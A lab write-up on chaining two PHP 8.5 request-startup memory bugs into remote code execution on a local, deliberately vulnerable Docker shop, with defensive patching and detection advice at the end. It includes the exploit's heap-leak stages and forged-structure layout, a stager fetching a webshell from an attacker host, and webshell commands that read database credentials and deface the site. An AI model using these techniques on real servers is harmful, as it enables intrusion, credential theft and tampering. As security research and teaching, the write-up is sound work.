David Castillo

PHP2Shell in a Box: Exploiting CVE-2026-109618 and CVE-2026-109619 on a Local PHP 8.5.11 Lab

PHP2Shell in a Box: Exploiting CVE-2026-109618 and CVE-2026-109619 on a Local PHP 8.5.11 Lab
Terminal output of the exploit: target fingerprint PHP 8.5.11, stage 1 Zend MM chunk leak, stage 2 libphp.so leak, stage 3 fake HashTable, then GET /p returning uid=33(www-data)
The whole chain in one screen: fingerprint, both leaks, the forged HashTable, and the proof file fetched back over HTTP. A page that only prints ok just ran id as www-data

Introduction

On October 21, 2026, PHP published fixes for two critical memory-safety vulnerabilities, CVE-2026-109618 and CVE-2026-109619, both rated CVSS v4.0 9.2 and publicly grouped under the name PHP2Shell. They are not bugs in an application: they live in PHP's request startup, so the request is processed before a single line of your code runs. Authentication, input filtering, WAF rules at the application layer: none of it matters, because the vulnerable code path is already done by the time the script is opened.

These are not theoretical: AWS reported PHP2Shell exploitation attempts in the wild as early as October 17, 2026, four days before public disclosure and the release of patches. I did not want to just read about it. I wanted to watch it happen, on my own machine, with my own hands on the heap layout. So I built a small lab: a fictional store called Plumbus Supply Co. (PHP 8.5.11 + Apache mod_php + PostgreSQL 16, four Docker services, loopback only), and then two self-contained Python exploit scripts, one per CVE, that each run a command as www-data inside the web container.

This post is the build log: the stack, the bug class in plain language, the exact server conditions the chain needs, the three stages of the exploit (heap leak → library base → forged HashTable), and the parts of the run that surprised me. If you run PHP anywhere, the last section is the one to read first: What This Means If You Run PHP.

Scope and Safety

This is a deliberately vulnerable security-training lab. It exists to learn how a pinned PHP release fails and how the exploit chain is assembled, on an isolated machine, with a database full of fictional plumbuses. That is the whole purpose.

  • Loopback only. Every published port in the compose file is bound to 127.0.0.1, and both exploit scripts refuse any target that is not 127.0.0.1 / localhost / ::1. Do not change the bindings, do not deploy the image, do not put it behind a tunnel.
  • Pinned before the fix, on purpose. The image is php:8.5.11-apache, which is before the patched releases (8.2.35 / 8.3.36 / 8.4.27 / 8.5.12). Both scripts fingerprint the target and refuse to run against a fixed version. Rebuild on a patched PHP image before any use outside this disposable exercise.
  • No real anything. The shop is fictional, no payment is processed, no card details are requested or stored, and the "customer" data in the database is made up.
  • Destructive by design. The chain crashes workers and writes files into the document root. Recreate the web container to clean up.
  • Only your own machines. Running these techniques against systems you do not own, or without explicit written authorisation, is illegal in most jurisdictions. The fact that a chain is public does not make it a licence.

Everything below is provided as-is for that narrow, local purpose.

The Lab: A Deliberately Vulnerable Shop

The Stack: One Compose File, Four Services

The whole lab is one docker compose up -d:

Service Where Purpose
web http://127.0.0.1:8080 the shop: Apache prefork + mod_php 8.5.11
db internal PostgreSQL 16, database plumbus_shop
adminer http://127.0.0.1:8081 database browser (handy to watch the price change)
attacker internal, alias a attack-side payload host for the webshell demo (no host port)

The attacker service is not part of the vulnerable server: it stands in for "the attacker's own box". It runs nginx:alpine serving sec-examples/attacker/ read-only, and its single-letter network alias a exists for a reason we will get to in The 14-Byte Command Slot: the forged command string only has room for 14 bytes, and curl a/s>x.php is exactly 14.

The image itself is small: a php:8.5.11-apache base, pdo_pgsql compiled in, two config files copied into conf.d / conf-enabled, and the app copied into /var/www/html.

The Shop (and Why It Looks Boring on Purpose)

The application is deliberately unremarkable: a product page that reads one row from PostgreSQL, a pretend checkout, and a receipt that inserts a fictional order. It uses prepared statements, escaped output, and a CSRF token. That care is the point of the exercise: it is a well-behaved app on a vulnerable runtime, and the exploit does not touch any of it.

The Plumbus shop home page before the attack: the Plumbus illustration, the product price from the database, and the checkout button
Before: a perfectly ordinary fictional store. The price comes from a single row in PostgreSQL.

Two files matter for the exploit and neither is application code:

  • app/public/probe.php: a page that answers ok. It exists because request B (the follow-up request in each stage) must run a cheap script. Request A leaves the worker's Zend heap corrupted, and a page that allocates a lot (the shop opens a session and a PDO connection) can trip the Zend MM sanity check before PHP has flushed the leaked Set-Cookie header, which kills the worker and loses the leak.
  • database/init.sql: seeds one product and an orders table. There is no users table, no login, nothing to steal. The "damage" of the exploit is the proof file and whatever command you run.

The Pin: php:8.5.11-apache

The image is pinned to php:8.5.11-apache. That is not laziness: the stage-3 offsets in the exploit (zif_system, zval_ptr_dtor) are addresses inside that build. Rebuild from a different PHP release and the offsets must be re-derived, which is what sec-examples/tools/symbol-offsets.sh is for.

Both scripts also fingerprint the server first and compare against the fixed releases:

Branch Affected First fixed release
8.2 before 8.2.35 8.2.35
8.3 before 8.3.36 8.3.36
8.4 before 8.4.27 8.4.27
8.5 before 8.5.12 8.5.12

Point the script at a patched target and it stops with a message instead of flailing: "PHP 8.5.12 is at or above the fixed release; the chain will not work against it".

The Bug Class: a Fatal Error in the Middle of Request Startup

CVE-2026-109618: Interrupted Startup

PHP parses an incoming multipart/form-data body during request startup, before normal module initialization finishes and long before your script is compiled. Turning form fields into $_POST means allocating memory: a hash table entry per field, a copy of each key, nested arrays for field[x] syntax.

The flaw is what happens when one of those allocations fails. As the public analysis of this bug class describes it (Datadog Security Labs), the hash-table insertion used by the form parser increments the table's element counters before it allocates the key copy. If that allocation exceeds memory_limit, PHP raises its out-of-memory fatal error and abandons the insertion, but the table now counts a bucket that was never initialized.

PHP still cleans up the failed request, and cleanup trusts the counters. It walks every counted bucket and interprets the bytes there as PHP values. Those bytes are leftovers from an earlier allocation, so an attacker who controls the leftovers controls what cleanup does next, which is how a destroyed $_POST ends up as a system() call.

The practical consequence, and the reason this is an application-agnostic bug: the request never reaches your code. The target can be a full CMS or echo "ok";. My lab uses the latter, because it is deterministic.

CVE-2026-109619: State That Survives the Worker

The second CVE is the mirror image: instead of corrupting the current request, it leaves something behind for the next one. A PHP worker handles many requests over its lifetime, and some worker-wide fields point at memory that belongs to a single request. If PHP frees that memory without clearing the field, a later request can follow a stale pointer into freed memory: a use-after-free.

Two flavours are confirmed by the advisory:

  • Fatal-error backtraces (PHP 8.5 only). Fatal-error reporting keeps backtrace state after shutdown, and a configuration diagnostic in the next request reads it before it is reinitialized.
  • Upload processing. After a fatal error, upload handling can leave session or decoder state behind, and a later upload reads it before normal initialization.

My lab exploits the second flavour, and it is the one that makes this chain so pleasant to demo, because it comes with a built-in memory disclosure: session upload progress publishes the session id in PS(id) during request startup, an OOM during that path leaves PS(id) dangling, and a later multipart request on the same worker URL-encodes the reclaimed heap into a PHPSESSID response cookie. The feature runs even if the application never calls session_start().

That leak is what removes the need to guess anything: instead of brute-forcing ASLR, the exploit asks PHP to mail it a 4 KB picture of its own heap.

The Server Conditions Live in the Image, Not in the Exploit

This was the design decision I am happiest with. The exploit scripts contain no configuration and no Docker calls: the conditions that make the chain work are baked into the image, in three files. That keeps the exploit honest (it is an exploit, not a setup script) and it makes the lab reproducible from a clean checkout.

File Role
app/php/php2shell.ini memory_limit=8M, post_max_size=64M, upload_max_filesize=64M, display_errors=On, session.upload_progress.enabled=On, session.use_strict_mode=0
app/apache/php2shell.conf single prefork worker (MaxRequestWorkers=1), KeepAlive Off
app/public/probe.php the cheap page request B lands on

Why Each Condition Matters

  • memory_limit below post_max_size: request A has to reach the form parser and exhaust memory while PHP is still initializing the request. With a generous memory_limit there is no OOM, and therefore no interrupted startup at all.
  • display_errors=On: request A must emit the request-startup warning (which marks headers as sent) before the fatal error, so the OOM path is taken with headers already flushed. Without the warning, you get a different cleanup order and the stale state shifts.
  • Session upload progress on, strict mode off: upload progress is what initializes session state early enough to be left dangling, and strict mode would reject the attacker-chosen session id.
  • A single worker: request A and request B must be handled by the same process. With a normal worker pool, prefork hands B to a fresh process and the stale state is simply gone. This is also why the CVE is harder, but not impossible, in production: it becomes a probabilistic game instead of a guaranteed one.
  • A cheap page for request B: as above, the leak has to be flushed before the corrupted Zend heap trips a sanity check.
  • No fatal_error_backtraces: with backtraces enabled, PHP allocates at the exact moment request A bails out, and the heap layout the chain depends on moves. The ini file has a comment about this, because it is the kind of thing you disable "for better debugging" and then spend an hour wondering why the leak stopped.

The honest framing, which the repository README repeats: these are lab conditions, not a default target. The chain needs a low memory_limit relative to post_max_size, displayed errors, a single worker and session upload progress. Real PHP installations are a lottery of those settings, which is exactly why the disclosure mattered: internet-wide, plenty of them won the lottery.

The Chain, Stage by Stage

Three stages, all over plain HTTP, each one earning the address the next one needs:

Stage What it does
rotate A 12 MB multipart POST kills the current worker; prefork forks a fresh one from the parent, so the heap and ASLR layout are fresh and known.
stage 1 Request A's 12 MB field exhausts memory_limit during request startup. Request B on the same worker reuses the dangling session id and gets 4 KB of heap back in Set-Cookie: PHPSESSID → the Zend MM chunk base.
stage 2 The same A/B pair, shaped so the stale id points into a HashTable page whose pDestructor reveals the libphp.so base.
stage 3 Request A writes a forged zend_reference/HashTable; request B's shutdown calls zval_ptr_dtor on it with pDestructor = zif_system, which runs the forged command string as www-data.

Both example scripts run that same chain. The difference is what they verify:

Example CVE facet What the script verifies
CVE-2026-109618 The OOM interrupts request startup; internal request data is only partly initialized when PHP unwinds. Request A produced the Allowed memory size fatal error.
CVE-2026-109619 Request-owned session state (PS(id), PS(http_session_vars)) survives that fatal error; a later request on the same worker consumes it. Request B returned thousands of bytes of session-id memory instead of a normal 32-byte id.

They are duplicated on purpose, so every folder is standalone: drop one folder on a machine and it still works.

Rotate: Start From a Known Heap

Before every stage, the exploit sends a 12 MB multipart POST that kills the current worker. Prefork then forks a fresh worker from the parent, so the heap and the ASLR layout are fresh and, more importantly, known. This "rotate" step is what makes each stage repeatable: you are not inheriting whatever shape the previous request left behind.

Stage 1: Leak the Zend MM Chunk Base

Request A is a 12 MB multipart POST with 1001 small fields, a PHPSESSID of one NUL byte (so PHP generates a random id instead of rejecting it), and a 12 MB plain field called big. The big field exhausts memory_limit during request startup and produces the fatal OOM.

Request B, handled by the same worker, reuses the dangling session id. Its fields occupy the freed memory, so php_url_encode() reads a forged length out of bounds and PHP sends 4 KB of heap back in Set-Cookie: PHPSESSID. From those bytes the script extracts a pointer and masks it down: Zend MM chunks are 2 MiB aligned, so the low 21 bits are noise and the rest is the chunk base. Stage 1 is retried a few times (default 3) because a leak can miss.

Stage 2: Leak the libphp.so Base

Same A/B pair, different shaping. This time request B's fields are arranged so the stale session id points into a Zend HashTable page. Its pDestructor pointer is a function pointer inside libphp.so, so subtracting the known offset gives the library base, and from there every symbol in the module is a fixed distance away.

That is the whole ASLR problem, solved with two leaks and a subtraction. No brute force, no spray, no guessing: the exploit has now leaked the two addresses it needs.

Stage 3: A Forged HashTable, and zif_system

Request A of the last stage writes a forged zend_reference / HashTable structure to a known chunk offset: call_info, an argument slot marked IS_STRING, a zend_string header whose length is the command length, and the command bytes themselves. Request B's shutdown calls zval_ptr_dtor on it, pDestructor is zif_system (the internal function behind system()), and the forged object's string is what gets executed.

The command runs at request shutdown, inheriting the worker's working directory, which is /var/www/html and is writable. That is why the default command is id>p;date>>p: it leaves a proof file in the document root, and the exploit fetches it back over plain HTTP with GET /p. The proof is the file, not the response body, and not the crash: a successful run does not necessarily kill the worker.

The 14-Byte Command Slot: Why the Lab Uses a One-Letter Hostname

The fake structure is 167 bytes: a 0x98-byte header, then the command, then a NUL terminator. That leaves 14 bytes for the command, which is why id>p, env>p and whoami>p fit and basically nothing else does.

That number is not a property of the CVE. It is three lines of my calibration:

blob             = 0x98 (structure) + len(cmd) + 1 (NUL)
MAX_CMD          = blob - 153                        -> 14
HASHTABLE_OFFSET = 0x690D8                           # where that blob lands in the heap

The structure itself is fixed; only the tail grows:

Offset Content
0x00 fake zend_array, with pDestructor = zif_system at 0x30
0x20 fake execute_data, arg1 pointing at +0x80 with type IS_STRING
0x80 fake zend_string header (refcount 1, type 0x106)
0x90 the len field, already set to len(cmd)
0x98 the command bytes, then NUL

Why the URL is one letter. Fourteen bytes is the whole command, and the command has to pay for its own URL:

Part Bytes
curl 5
URL ≤ 4
> 1
filename 4–5 (x.php, or .php)

So a real domain only fits if the URL is a hair shorter than the budget: curl x.io>.php is exactly 14 bytes, with a two-character label under a two-character TLD and the payload served at /. (A file named .php does execute here: the handler in this image is FilesMatch \.php$, which matches any name ending in .php.) Put example.com in that slot instead and the command becomes 22 bytes, which does not fit. Hence the a alias on the attacker container: it buys three characters, and it is not a style choice, it is the only way to demonstrate persistence inside 14 bytes.

It also models something real. An attacker who already has a host on the same network (the normal post-compromise situation) does not need a public domain at all: a short name resolves through the DNS search domain. The lab just makes that explicit instead of pretending the attacker has payloads.attacker-infra.example up their sleeve.

That is what the stager does with the budget. curl a/s>x.php: curl writes the body to stdout, and >x.php drops it in the writable document root, so the URL is just the path to the payload (the a host's /s file). One 14-byte command and the webshell is live; after that the exploit is not needed anymore and everything is plain HTTP.

Could the slot be bigger? Yes, at a measured cost. The blob is planted as the value of a form field, so PHP allocates a zend_string around it, and a zend_string header costs 24 bytes (refcount and type, h, len). Zend MM rounds every allocation up to its bin ladder, so the blob size decides which bin it comes from, and the bin decides where in the request heap it lands:

Command cmd bytes blob allocation (24 + blob) bin
id>p;date>>p 12 165 189 192
curl a/s>x.php 14 167 191 192
curl example.com>x.php 22 176 200 224
curl https://example.com/x.php>x.php 39 193 217 224

The second and third rows are the whole story: 191 is the last byte of the 192-byte bin, which is exactly why the blob is 167 bytes. One more byte of command and the allocation moves to the 224-byte bin, lands somewhere else in the chunk, and HASHTABLE_OFFSET stops being true. Going up one bin would buy 47 bytes of command space (enough for a full https URL), and the work is not the code: it is re-deriving the landing offset against the live heap, then re-confirming that stage 3 still reaches zif_system. The public php2shell exploits do exactly that, with much bigger forged objects and per-target grooming.

Why this lab stays at 14. Because it is a research lab, and simplicity is the feature. The smallest blob that reproduces deterministically on every run is worth more than a wide command slot: one calibration, one number, a chain that fires the same way every time, and a stager that already demonstrates the full webshell lifecycle. Widening the slot is a calibration exercise, not a new capability. When a long command is genuinely needed, the blob gets sized to the command and the offset gets measured again, which is the same loop When the Chain Doesn't Fire describes from the failure side.

Running It

Quick Start

You need Docker Engine, Docker Compose, and uv for the exploit commands:

docker compose down            # optional: stop a previous run (keeps the DB volume)
docker compose build web       # image with the pinned PHP release + lab settings
docker compose up -d           # web, db, adminer, attacker
docker compose ps              # all four services should be "running"

Before attacking anything, confirm the target is in the expected lab state (PHP version, ini values, single worker, probe page):

bash sec-examples/tools/check-server.sh

Then, from sec-examples/, one command per example:

uv run exploit-cve-2026-109618          # chain + `id` proof
uv run exploit-cve-2026-109619          # chain + stale-state evidence
uv run exploit-cve-2026-109618 --webshell   # chain + stager + persistent webshell

What a Successful Run Looks Like

The shape of the output, with the addresses elided (they change every run, which is the point):

[*] target http://127.0.0.1:8080/probe.php (PHP 8.5.11)
[*] CVE-2026-109618: a multipart OOM interrupts request startup while
    internal request data is only partly initialised
[*] stage 1: Zend MM chunk leak (1/3)
[+] chunk base = 0x7f........0000 (4096 bytes leaked)
[+] request A: "Allowed memory size" fatal error observed
    (OOM interrupted request startup)
[*] stage 2: libphp leak (1/3)
[+] libphp base = 0x7f........0000
[*] stage 3: fake HashTable at 0x7f........, zif_system at 0x7f........,
    command 'id>p;date>>p'
[+] command executed by the www-data worker; GET /p returned:
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    Fri Oct 23 08:00:00 -05 2026

uid=33(www-data) from a page that only prints ok. No application vulnerability was involved in producing that line.

From RCE to a Persistent Webshell

With --webshell the chain runs the stager instead of id>p, then verifies the shell over HTTP and prints the victim's own DB_* credentials, read from its environment (no hardcoded defaults):

curl 'http://127.0.0.1:8080/x.php?c=id'        # uid=33(www-data)
curl 'http://127.0.0.1:8080/x.php?c=env' | grep DB_
curl 'http://127.0.0.1:8080/x.php?pwn=1'       # fun: arcade headline + $1.00 price

# arbitrary PHP in the worker, e.g. change the price through the app's own credentials
curl -s --data-urlencode 'p=$db=new PDO("pgsql:host=".getenv("DB_HOST").";"."port=".getenv("DB_PORT").";dbname=".getenv("DB_NAME"),getenv("DB_USER"),getenv("DB_PASSWORD"));$db->exec("UPDATE products SET price_cents=100");' \
  http://127.0.0.1:8080/x.php

That last part is worth pausing on. The webshell runs eval()'d PHP inside the worker, so it inherits everything the worker has: the environment, the PDO connection parameters, the file system permissions of www-data. Post-exploitation does not need another CVE; it just uses the server as the server.

The Fun Part: Defacement and a $1.00 Plumbus

?pwn=1 does two things in one request: it injects an 80s-arcade banner (** HIGH SCORE **, YOU HAVE BEEN HACKED, .... by YOURSELF, INSERT COIN ▸ 1 PLAYER 1) into index.php right after the page header, and it updates the Plumbus price to $1.00 using the application's own DB_* environment variables.

hacked the home page
price_cents=100 rows_changed=1
The Plumbus shop home page after ?pwn=1: an 80s-arcade HIGH SCORE banner reading YOU HAVE BEEN HACKED, and the price changed to $1.00
After: an 80s-arcade banner injected into the shop and the price changed to $1.00, both done by a request the PHP worker executed as www-data

The banner is idempotent (already defaced on a second call, while the price is re-applied). The page edit is a runtime change inside the container, so docker compose up -d --force-recreate web restores it, and the price goes back with:

docker exec php_sec_training-db-1 psql -U shop -d plumbus_shop \
  -c 'UPDATE products SET price_cents = 2400'

It is a silly trick, and that is the point: it is the shortest way to make an abstract memory-corruption chain visible to someone who does not read heap dumps for fun. That is what "unauthenticated RCE" looks like.

When the Chain Doesn't Fire

The chain is deterministic on the pinned image, but it is sensitive to anything that changes allocation order. Every failure mode I hit traced back to one of these:

  • fatal_error_backtraces=On (PHP 8.5): PHP allocates while request A bails out, the stale heap shifts, and stage 1 stops leaking. The ini file explicitly forbids it.
  • More than one worker: request B lands on a different process and the stale state is unreachable. This is the single most common "works on my machine" difference, because it is exactly how production is configured.
  • A heavy page for request B: a script that opens a session and a database connection can trip the Zend MM sanity check and kill the worker before the leaked cookie is flushed. Use something cheap.
  • A patched PHP: both scripts refuse up front, but a rebuilt image tag can silently move the offsets. Re-run bash sec-examples/tools/symbol-offsets.sh after changing the base image.
  • A stale container: any up --force-recreate web or down wipes /p and /x.php. Re-run the command after a recreate.
  • Retries exist for a reason: each stage defaults to 3 attempts, and the script rotates the worker between them, because a leak can miss. A miss is not a broken lab.

What This Means If You Run PHP

The lab is fun; the production implications are not. A few things this exercise made concrete for me:

  1. Patch. Only patching fixes it. The community mitigations (session.upload_progress.enabled=0, fatal_error_backtraces=0) reduce exposure but do not close the bug, and they have to be in configuration that loads before PHP parses the request, with every worker restarted. My own lab shows both settings being load-bearing for the exploit rather than decorative, which is the same reason they are incomplete: other paths exist.
  2. Application-level security does not help. My shop uses prepared statements, escaped output and CSRF tokens. The exploit never touched any of it. If your threat model ends at your framework, it has a hole the size of the interpreter.
  3. Inventory the runtime, not the OS package list. The vulnerable code ships inside container images, bundled interpreters and vendor backports. A server can have a fixed CLI php and a vulnerable mod_php, or the other way around.
  4. The logs look boring. Look for large multipart requests followed by memory-limit errors or repeated 500s, oversized or malformed PHPSESSID response cookies, and unexplained worker churn. None of that is application context: it happens below your framework's logs.
  5. Application-agnostic means the "Hello World" matters too. Every endpoint, including the ones you forgot about, is a target if the interpreter is unpatched.

Conclusion

  1. The bug class is one idea: a fatal error interrupts PHP in the middle of an operation, and cleanup later treats the incomplete state as valid. One flavour corrupts the current request (CVE-2026-109618), the other leaves state behind for the next one (CVE-2026-109619).
  2. The leak is the star of the show: a stale PS(id) turns PHP into a memory-disclosure oracle, and 4 KB in a Set-Cookie header is enough to defeat ASLR twice: Zend MM chunk base, then libphp.so base.
  3. The command slot is 14 bytes, and that is a calibration choice, not a limit: a longer command just needs a bigger blob and a re-measured offset, and a real domain does not fit until you pay that price. The a alias is how the lab stays deterministic, and from there a stager turns one-shot RCE into a persistent webshell that needs no further exploit.
  4. Configuration is the vulnerability's co-author: memory_limit below post_max_size, display_errors=On, a single worker, session upload progress on. That is a lab, but it is also somebody's production default, and this is why an internet-wide CVE was possible.
  5. Keep the conditions in the image. Putting the server state in the Dockerfile and keeping the exploit script configuration-free made the lab reproducible and made the exploit readable: under 600 lines of attack per script, zero lines of setup.
  6. Webshells are boring and total: the post-exploitation step did not need a second vulnerability, just the worker's own environment and the app's own credentials.
  7. Patch your PHP. Not because a blog post says so, but because I watched a page that only prints ok run id as www-data on a machine I own.

If you want to try this yourself: build it on a machine you own, keep the loopback bindings, and delete the stack when you are done. The interesting part is not that it works, it is understanding exactly which byte of stale heap the cleanup routine trusted. That is also the part that makes the patch worth applying today.

Credit: the chain follows the public php2shell research and proofs of concept: the PHP security team's advisory for CVE-2026-109618 / CVE-2026-109619, Wiz Research, Datadog Security Labs, Sansec, and the public implementations by 9bie and godylockz. This repository is an independent, self-contained re-implementation for its own training stack.

References


Disclaimer: this post was written with the help of DeepSeek V4.1 Flash; the lab, the exploits and the mistakes are mine.